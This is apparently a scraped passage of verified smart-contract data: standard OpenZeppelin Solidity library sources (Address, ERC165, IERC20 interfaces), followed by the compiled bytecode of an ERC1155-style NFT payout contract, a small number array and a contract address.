IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
0x608060405234801561001057600080fd5b50600436106101a25760003560e01c806381d1b028116100ee578063ea8caccb11610097578063f2fde38b11610071578063f2fde38b14610372578063f7ea8eb114610385578063fbee48f814610398578063fd35d5f6146103ab576101a2565b8063ea8caccb14610339578063eee4d2071461034c578063f242432a1461035f576101a2565b8063a22cb465116100c8578063a22cb46514610300578063c1ef4e5814610313578063e985e9c514610326576101a2565b806381d1b028146102d25780638da5cb5b146102e55780639cd8b712146102ed576101a2565b80633013ce2911610150578063517395141161012a57806351739514146102a4578063670f9faf146102b7578063715018a6146102ca576101a2565b80633013ce291461024b57806344f0fa2d146102605780634e1273f414610284576101a2565b80630e89341c116101815780630e89341c146102055780631130630c146102255780632eb2c2d614610238576101a2565b8062fdd58e146101a757806301ffc9a7146101d05780630962ef79146101f0575b600080fd5b6101ba6101b53660046123f4565b6103be565b6040516101c79190612f6b565b60405180910390f35b6101e36101de3660046124f7565b610431565b6040516101c791906127e9565b6102036101fe36600461257d565b6104db565b005b61021861021336600461257d565b6105fd565b6040516101c791906127f4565b61020361023336600461252f565b610691565b6102036102463660046122b5565b6106f6565b610253610a20565b6040516101c791906126a6565b61027361026e36600461257d565b610a3c565b6040516101c7959493929190612f74565b61029761029236600461241d565b610a83565b6040516101c791906127a8565b6102036102b236600461257d565b610c07565b6102036102c5366004612269565b610de0565b610203610ebb565b6101e36102e0366004612269565b610f83565b610253610f98565b6102036102fb366004612595565b610fb5565b61020361030e3660046123be565b61109d565b6102036103213660046125d8565b6111bd565b6101e3610334366004612283565b6115a4565b610203610347366004612269565b6115df565b61020361035a3660046125d8565b6116b7565b61020361036d36600461235b565b6117a1565b610203610380366004612269565b6119a3565b6102036103933660046125b7565b611abc565b6101ba6103a636600461257d565b611b1c565b6102036103b9366004612595565b611b31565b600073ffffffffffffffffffffffffffffffffffffffff83166103fc5760405162461bcd60e51b81526004016103f39061291e565b60405180910390fd5b50600090815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff949094168352929052205490565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167fd9b67a260000000000000000000000000000000000000000000000000000000014806104c457507fffffffff0000000000000000000000000000000000000000000000000000000082167f0e89341c00000000000000000000000000000000000000000000000000000000145b806104d357506104d382611bc5565b90505b919050565b6000818152600660205260409020600101543390610100900473ffffffffffffffffffffffffffffffffffffffff16811461051557600080fd5b60008281526006602052604090819020546004805492517fa9059cbb000000000000000000000000000000000000000000000000000000008152919273ffffffffffffffffffffffffffffffffffffffff169163a9059cbb9161057c918691869101612782565b602060405180830381600087803b15801561059657600080fd5b505af11580156105aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ce91906124db565b6105ea5760405162461bcd60e51b81526004016103f390612de6565b5050600090815260066020526040812055565b60606003805461060c906130ae565b80601f0160208091040260200160405190810160405280929190818152602001828054610638906130ae565b80156106855780601f1061065a57610100808354040283529160200191610685565b820191906000526020600020905b81548152906001019060200180831161066857829003601f168201915b50505050509050919050565b610699611c0f565b73ffffffffffffffffffffffffffffffffffffffff166106b7610f98565b73ffffffffffffffffffffffffffffffffffffffff16146106ea5760405162461bcd60e51b81526004016103f390612c63565b6106f381611c13565b50565b81518351146107175760405162461bcd60e51b81526004016103f390612e1d565b73ffffffffffffffffffffffffffffffffffffffff841661074a5760405162461bcd60e51b81526004016103f390612aef565b610752611c0f565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480610792575061079285610334611c0f565b6107ae5760405162461bcd60e51b81526004016103f390612b4c565b60006107b8611c0f565b90506107c8818787878787610a18565b60005b845181101561098b57600085828151811061080f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190506000858381518110610854577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602090810291909101810151600084815260018352604080822073ffffffffffffffffffffffffffffffffffffffff8e1683529093529190912054909150818110156108b25760405162461bcd60e51b81526004016103f390612c06565b6108bc8282613097565b6001600085815260200190815260200160002060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816001600085815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109709190613009565b925050819055505050508061098490613102565b90506107cb565b508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051610a029291906127bb565b60405180910390a4610a18818787878787611c26565b505050505050565b60045473ffffffffffffffffffffffffffffffffffffffff1681565b6006602052600090815260409020805460018201546004830154600590930154919260ff82169261010090920473ffffffffffffffffffffffffffffffffffffffff169185565b60608151835114610aa65760405162461bcd60e51b81526004016103f390612d89565b6000835167ffffffffffffffff811115610ae9577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015610b12578160200160208202803683370190505b50905060005b8451811015610bff57610bab858281518110610b5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151858381518110610b9e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516103be565b828281518110610be4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020908102919091010152610bf881613102565b9050610b18565b509392505050565b3360009081526005602052604090205460ff16610c365760405162461bcd60e51b81526004016103f390612a35565b60008181526006602052604090206001015460ff16610c675760405162461bcd60e51b81526004016103f390612ba9565b60005b600082815260066020526040902060020154811015610d89576000828152600660205260408120600201805483908110610ccd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000918252602080832090910154858352600690915260409091206005810154600390910180549293506127109285908110610d32577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154610d47919061305a565b610d519190613021565b60008281526006602052604081208054909190610d6f908490613009565b90915550829150610d81905081613102565b915050610c6a565b506000818152600660205260409020600581015460049091015461271091610db09161305a565b610dba9190613021565b60008281526006602052604081208054909190610dd8908490613009565b909155505050565b610de8611c0f565b73ffffffffffffffffffffffffffffffffffffffff16610e06610f98565b73ffffffffffffffffffffffffffffffffffffffff1614610e395760405162461bcd60e51b81526004016103f390612c63565b73ffffffffffffffffffffffffffffffffffffffff8116610e6c5760405162461bcd60e51b81526004016103f390612ab8565b73ffffffffffffffffffffffffffffffffffffffff16600090815260056020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055565b610ec3611c0f565b73ffffffffffffffffffffffffffffffffffffffff16610ee1610f98565b73ffffffffffffffffffffffffffffffffffffffff1614610f145760405162461bcd60e51b81526004016103f390612c63565b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60056020526000908152604090205460ff1681565b60005473ffffffffffffffffffffffffffffffffffffffff165b90565b610fbd611c0f565b73ffffffffffffffffffffffffffffffffffffffff16610fdb610f98565b73ffffffffffffffffffffffffffffffffffffffff161461100e5760405162461bcd60e51b81526004016103f390612c63565b6000828152600660209081526040808320600180820180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001682177fffffffffffffffffffffff0000000000000000000000000000000000000000ff1661010033021790556127106004909201919091558151928301909152918152611099918391859190611db6565b5050565b8173ffffffffffffffffffffffffffffffffffffffff166110bc611c0f565b73ffffffffffffffffffffffffffffffffffffffff1614156110f05760405162461bcd60e51b81526004016103f390612ccf565b80600260006110fd611c0f565b73ffffffffffffffffffffffffffffffffffffffff90811682526020808301939093526040918201600090812091871680825291909352912080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169215159290921790915561116c611c0f565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516111b191906127e9565b60405180910390a35050565b600083815260066020526040902060010154610100900473ffffffffffffffffffffffffffffffffffffffff1633146111f557600080fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60005b6000858152600660205260409020600301548110156112aa57600085815260066020526040902060020180548591908390811061127f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001541415611298578091506112aa565b806112a281613102565b915050611219565b5060008481526006602052604081206003018054839081106112f5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001548310611431576000858152600660205260409020600301805483908110611350577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154836113669190613097565b60008681526006602052604090206004015490915081111561139a5760405162461bcd60e51b81526004016103f390612ed7565b600085815260066020526040812060040180548392906113bb908490613097565b9091555050600085815260066020526040902060030180548291908490811061140d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160008282546114269190613009565b9091555061159d9050565b600085815260066020526040902060030180548491908490811061147e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001546114939190613097565b600086815260066020526040902060030180549192508291849081106114e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154101561150b5760405162461bcd60e51b81526004016103f390612864565b6000858152600660205260408120600401805483929061152c908490613009565b9091555050600085815260066020526040902060030180548291908490811061157e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160008282546115979190613097565b90915550505b5050505050565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260026020908152604080832093909416825291909152205460ff1690565b6115e7611c0f565b73ffffffffffffffffffffffffffffffffffffffff16611605610f98565b73ffffffffffffffffffffffffffffffffffffffff16146116385760405162461bcd60e51b81526004016103f390612c63565b73ffffffffffffffffffffffffffffffffffffffff811661166b5760405162461bcd60e51b81526004016103f390612f34565b73ffffffffffffffffffffffffffffffffffffffff16600090815260056020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b600083815260066020526040902060010154610100900473ffffffffffffffffffffffffffffffffffffffff1633146116ef57600080fd5b60008381526006602052604090206004015481111561170d57600080fd5b60008281526006602052604090206001015460ff1661173e5760405162461bcd60e51b81526004016103f390612c98565b6000838152600660205260408120600401805483929061175f908490613097565b90915550506000928352600660209081526040842060038101805460018181018355918752838720019390935560020180549283018155845290922090910155565b73ffffffffffffffffffffffffffffffffffffffff84166117d45760405162461bcd60e51b81526004016103f390612aef565b6117dc611c0f565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148061181c575061181c85610334611c0f565b6118385760405162461bcd60e51b81526004016103f3906129d8565b6000611842611c0f565b905061186281878761185388611ed9565b61185c88611ed9565b87610a18565b600084815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff8a168452909152902054838110156118b25760405162461bcd60e51b81526004016103f390612c06565b6118bc8482613097565b600086815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff8c81168552925280832093909355881681529081208054869290611907908490613009565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f628888604051611984929190612fad565b60405180910390a461199a828888888888611f4b565b50505050505050565b6119ab611c0f565b73ffffffffffffffffffffffffffffffffffffffff166119c9610f98565b73ffffffffffffffffffffffffffffffffffffffff16146119fc5760405162461bcd60e51b81526004016103f390612c63565b73ffffffffffffffffffffffffffffffffffffffff8116611a2f5760405162461bcd60e51b81526004016103f39061297b565b6000805460405173ffffffffffffffffffffffffffffffffffffffff808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b600082815260066020526040902060010154610100900473ffffffffffffffffffffffffffffffffffffffff163314611b075760405162461bcd60e51b81526004016103f390612d2c565b60009182526006602052604090912060050155565b60009081526006602052604090206005015490565b600082815260066020526040902060010154610100900473ffffffffffffffffffffffffffffffffffffffff163314611b6957600080fd5b600091825260066020526040909120600101805473ffffffffffffffffffffffffffffffffffffffff909216610100027fffffffffffffffffffffff0000000000000000000000000000000000000000ff909216919091179055565b7fffffffff0000000000000000000000000000000000000000000000000000000081167f01ffc9a70000000000000000000000000000000000000000000000000000000014919050565b3390565b80516110999060039060208401906120a4565b611c458473ffffffffffffffffffffffffffffffffffffffff1661209e565b15610a18576040517fbc197c8100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85169063bc197c8190611ca490899089908890889088906004016126c7565b602060405180830381600087803b158015611cbe57600080fd5b505af1925050508015611d0c575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201909252611d0991810190612513565b60015b611d5557611d1861319f565b80611d235750611d3d565b8060405162461bcd60e51b81526004016103f391906127f4565b60405162461bcd60e51b81526004016103f390612807565b7fffffffff0000000000000000000000000000000000000000000000000000000081167fbc197c81000000000000000000000000000000000000000000000000000000001461199a5760405162461bcd60e51b81526004016103f3906128c1565b73ffffffffffffffffffffffffffffffffffffffff8416611de95760405162461bcd60e51b81526004016103f390612e7a565b6000611df3611c0f565b9050611e058160008761185388611ed9565b600084815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff8916845290915281208054859290611e44908490613009565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f628787604051611ec2929190612fad565b60405180910390a461159d81600087878787611f4b565b60408051600180825281830190925260609160009190602080830190803683370190505090508281600081518110611f3a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602090810291909101015292915050565b611f6a8473ffffffffffffffffffffffffffffffffffffffff1661209e565b15610a18576040517ff23a6e6100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85169063f23a6e6190611fc99089908990889088908890600401612732565b602060405180830381600087803b158015611fe357600080fd5b505af1925050508015612031575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820190925261202e91810190612513565b60015b61203d57611d1861319f565b7fffffffff0000000000000000000000000000000000000000000000000000000081167ff23a6e61000000000000000000000000000000000000000000000000000000001461199a5760405162461bcd60e51b81526004016103f3906128c1565b3b151590565b8280546120b0906130ae565b90600052602060002090601f0160209004810192826120d25760008555612118565b82601f106120eb57805160ff1916838001178555612118565b82800160010185558215612118579182015b828111156121185782518255916020019190600101906120fd565b50612124929150612128565b5090565b5b808211156121245760008155600101612129565b600067ffffffffffffffff8311156121575761215761316a565b61218860207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f86011601612fbb565b905082815283838301111561219c57600080fd5b828260208301376000602084830101529392505050565b803573ffffffffffffffffffffffffffffffffffffffff811681146104d657600080fd5b600082601f8301126121e7578081fd5b813560206121fc6121f783612fe5565b612fbb565b8281528181019085830183850287018401881015612218578586fd5b855b858110156122365781358452928401929084019060010161221a565b5090979650505050505050565b600082601f830112612253578081fd5b6122628383356020850161213d565b9392505050565b60006020828403121561227a578081fd5b612262826121b3565b60008060408385031215612295578081fd5b61229e836121b3565b91506122ac602084016121b3565b90509250929050565b600080600080600060a086880312156122cc578081fd5b6122d5866121b3565b94506122e3602087016121b3565b9350604086013567ffffffffffffffff808211156122ff578283fd5b61230b89838a016121d7565b94506060880135915080821115612320578283fd5b61232c89838a016121d7565b93506080880135915080821115612341578283fd5b5061234e88828901612243565b9150509295509295909350565b600080600080600060a08688031215612372578081fd5b61237b866121b3565b9450612389602087016121b3565b93506040860135925060608601359150608086013567ffffffffffffffff8111156123b2578182fd5b61234e88828901612243565b600080604083850312156123d0578182fd5b6123d9836121b3565b915060208301356123e981613280565b809150509250929050565b60008060408385031215612406578182fd5b61240f836121b3565b946020939093013593505050565b6000806040838503121561242f578182fd5b823567ffffffffffffffff80821115612446578384fd5b818501915085601f830112612459578384fd5b813560206124696121f783612fe5565b82815281810190858301838502870184018b1015612485578889fd5b8896505b848710156124ae5761249a816121b3565b835260019690960195918301918301612489565b50965050860135925050808211156124c4578283fd5b506124d1858286016121d7565b9150509250929050565b6000602082840312156124ec578081fd5b815161226281613280565b600060208284031215612508578081fd5b81356122628161328e565b600060208284031215612524578081fd5b81516122628161328e565b600060208284031215612540578081fd5b813567ffffffffffffffff811115612556578182fd5b8201601f81018413612566578182fd5b6125758482356020840161213d565b949350505050565b60006020828403121561258e578081fd5b5035919050565b600080604083850312156125a7578182fd5b823591506122ac602084016121b3565b600080604083850312156125c9578182fd5b50508035926020909101359150565b6000806000606084860312156125ec578081fd5b505081359360208301359350604090920135919050565b6000815180845260208085019450808401835b8381101561263257815187529582019590820190600101612616565b509495945050505050565b60008151808452815b8181101561266257602081850181015186830182015201612646565b818111156126735782602083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b600073ffffffffffffffffffffffffffffffffffffffff808816835280871660208401525060a0604083015261270060a0830186612603565b82810360608401526127128186612603565b90508281036080840152612726818561263d565b98975050505050505050565b600073ffffffffffffffffffffffffffffffffffffffff808816835280871660208401525084604083015283606083015260a0608083015261277760a083018461263d565b979650505050505050565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b6000602082526122626020830184612603565b6000604082526127ce6040830185612603565b82810360208401526127e08185612603565b95945050505050565b901515815260200190565b600060208252612262602083018461263d565b60208082526034908201527f455243313135353a207472616e7366657220746f206e6f6e204552433131353560408201527f526563656976657220696d706c656d656e746572000000000000000000000000606082015260800190565b60208082526031908201527f4572726f723a204e6f7420656e6f75676820736861726573206c65667420746f60408201527f206465637265617365207061796f757421000000000000000000000000000000606082015260800190565b60208082526028908201527f455243313135353a204552433131353552656365697665722072656a6563746560408201527f6420746f6b656e73000000000000000000000000000000000000000000000000606082015260800190565b6020808252602b908201527f455243313135353a2062616c616e636520717565727920666f7220746865207a60408201527f65726f2061646472657373000000000000000000000000000000000000000000606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201527f6464726573730000000000000000000000000000000000000000000000000000606082015260800190565b60208082526029908201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260408201527f20617070726f7665640000000000000000000000000000000000000000000000606082015260800190565b60208082526048908201527f6e6f74696679446174614e46544d696e743a204f6e6c792064617461204e465460408201527f20636f6e7472616374732063616e206265207573656420746f206d696e74206460608201527f617461204e465473000000000000000000000000000000000000000000000000608082015260a00190565b60208082526011908201527f4e6577206164647265737320697320302e000000000000000000000000000000604082015260600190565b60208082526025908201527f455243313135353a207472616e7366657220746f20746865207a65726f20616460408201527f6472657373000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526032908201527f455243313135353a207472616e736665722063616c6c6572206973206e6f742060408201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000606082015260800190565b6020808252602d908201527f6e6f74696679446174614e46544d696e743a20536f75726365204e465420646f60408201527f6573206e6f742065786973742100000000000000000000000000000000000000606082015260800190565b6020808252602a908201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60408201527f72207472616e7366657200000000000000000000000000000000000000000000606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601a908201527f506172656e74204e465420646f6573206e6f7420657869737421000000000000604082015260600190565b60208082526029908201527f455243313135353a2073657474696e6720617070726f76616c2073746174757360408201527f20666f722073656c660000000000000000000000000000000000000000000000606082015260800190565b60208082526034908201527f536f7572636520506f6f6c20416d6f756e742063616e206f6e6c79206265207360408201527f65742062792074686520734152542061646d696e000000000000000000000000606082015260800190565b60208082526029908201527f455243313135353a206163636f756e747320616e6420696473206c656e67746860408201527f206d69736d617463680000000000000000000000000000000000000000000000606082015260800190565b60208082526016908201527f546f6b656e207472616e73666572206661696c65642e00000000000000000000604082015260600190565b60208082526028908201527f455243313135353a2069647320616e6420616d6f756e7473206c656e6774682060408201527f6d69736d61746368000000000000000000000000000000000000000000000000606082015260800190565b60208082526021908201527f455243313135353a206d696e7420746f20746865207a65726f2061646472657360408201527f7300000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526031908201527f4572726f723a204e6f7420656e6f75676820736861726573206c65667420746f60408201527f20696e637265617365207061796f757421000000000000000000000000000000606082015260800190565b60208082526015908201527f52656d6f766564206164647265737320697320302e0000000000000000000000604082015260600190565b90815260200190565b948552921515602085015273ffffffffffffffffffffffffffffffffffffffff9190911660408401526060830152608082015260a00190565b918252602082015260400190565b60405181810167ffffffffffffffff81118282101715612fdd57612fdd61316a565b604052919050565b600067ffffffffffffffff821115612fff57612fff61316a565b5060209081020190565b6000821982111561301c5761301c61313b565b500190565b600082613055577f4e487b710000000000000000000000000000000000000000000000000000000081526012600452602481fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130925761309261313b565b500290565b6000828210156130a9576130a961313b565b500390565b6002810460018216806130c257607f821691505b602082108114156130fc577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156131345761313461313b565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60e01c90565b600060443d10156131af57610fb2565b600481823e6308c379a06131c38251613199565b146131cd57610fb2565b6040517ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3d016004823e80513d67ffffffffffffffff816024840111818411171561321b5750505050610fb2565b828401925082519150808211156132355750505050610fb2565b503d8301602082840101111561324d57505050610fb2565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810160200160405291505090565b80151581146106f357600080fd5b7fffffffff00000000000000000000000000000000000000000000000000000000811681146106f357600080fdfea264697066735822122091323260505d59f88a09e6f7f60f21b3604f8a75342c2d859329f6a0acc849cc64736f6c63430008000033
[ 0, 5, 7, 12 ]
0xF2Be95116845252A28bD43661651917Dc183dAB1
